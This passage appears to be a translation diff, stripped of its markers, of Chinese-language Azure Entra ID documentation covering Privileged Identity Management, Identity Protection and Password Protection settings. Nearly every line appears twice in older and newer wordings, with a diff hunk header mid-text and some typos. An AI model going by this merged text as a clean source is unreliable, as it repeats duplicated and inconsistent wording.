PIM 的一个主要功能允许不将角色直接分配给始终处于活动状态的主体,而是将其设置为在一段时间内 **eligible例如 6 months**。当用户想要激活该角色时,需要提出请并说明所需权限时长(例如 3 hours)。随后需**admin needs to approve** 该请求。
注意,用户也可以请求 **extend** 时长
PIM 提供的主要功能之一是,它允许不将角色分配给持续处于活动状态的主体,而是将其设置为 **在一段时间内有资格(例如 6 个月**然后,每当用户想要激活该角色时,需要提出请并说明所需权限的时间(例如 3 小时)。随后需由一名 **管理员批准** 该请求。\
注意,用户也可以请求**延长**时间
此外,**PIM send emails**,每当为某人分配特权角色时都会发送电子邮件通知
此外,**PIM 会发送电子邮件**,每当将特权角色分配给某人时
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
启用 PIM ,可以为每个角色配置以下要求
启用 PIM ,可以为每个角色配置某些要求,例如
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments
- 以及更多关于何时以及向谁发送通知的配置,当与该角色相关的某些操作发生时
- 激活的最大持续时间(小时)
- 激活时要求 MFA
- 激活时要求 Conditional Access 认证上下文
- 激活时要求说明理由
- 激活时要求工单信息
- 激活需要审批
- 候选分配的最长有效期
- 在该角色发生特定操作时,关于何时以及向谁发送通知的更多配置选项
### Conditional Access Policies
### Conditional Access 策略
Check:
@@ -1193,21 +1268,21 @@ Check:
### Entra Identity Protection
Entra Identity Protection 是一项安全服务,用于 **检测用户或登录尝试是否具有过高风险**,并允许 **block** 该用户或登录尝试。
Entra Identity Protection 是一项安全服务,用于 **检测用户或登录是否存在过高风险**,并允许 **阻止**该用户或登录尝试。
管理员可以将其配置在风险为 "Low and above"、"Medium and above" 或 "High" 时 **block** 尝试。不过,默认情况下它是完全 **disabled**
管理员可以配置在风险为Low and above”、“Medium and above”或“High”时**阻止**尝试。尽管默认情况下它是完全**禁用**
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> 目前建议通过 Conditional Access 策略添加这些限制,在那可以配置同的选项。
> 现在建议通过 Conditional Access 策略添加这些限制,因为在那可以配置同的选项。
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录失败时锁定户,帮助防止弱密码被滥用**。
它还允许 **ban a custom password list**(需你提供)。
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,通过在多次登录失败时锁定户,**帮助防止弱密码被滥用**。\
它还允许**禁止自定义密码列表**(需你提供)。
它可以 **applied both** 于云端和本地 Active Directory。
它可以**同时应用**于云端和本地 Active Directory。
默认模式为 **Audit**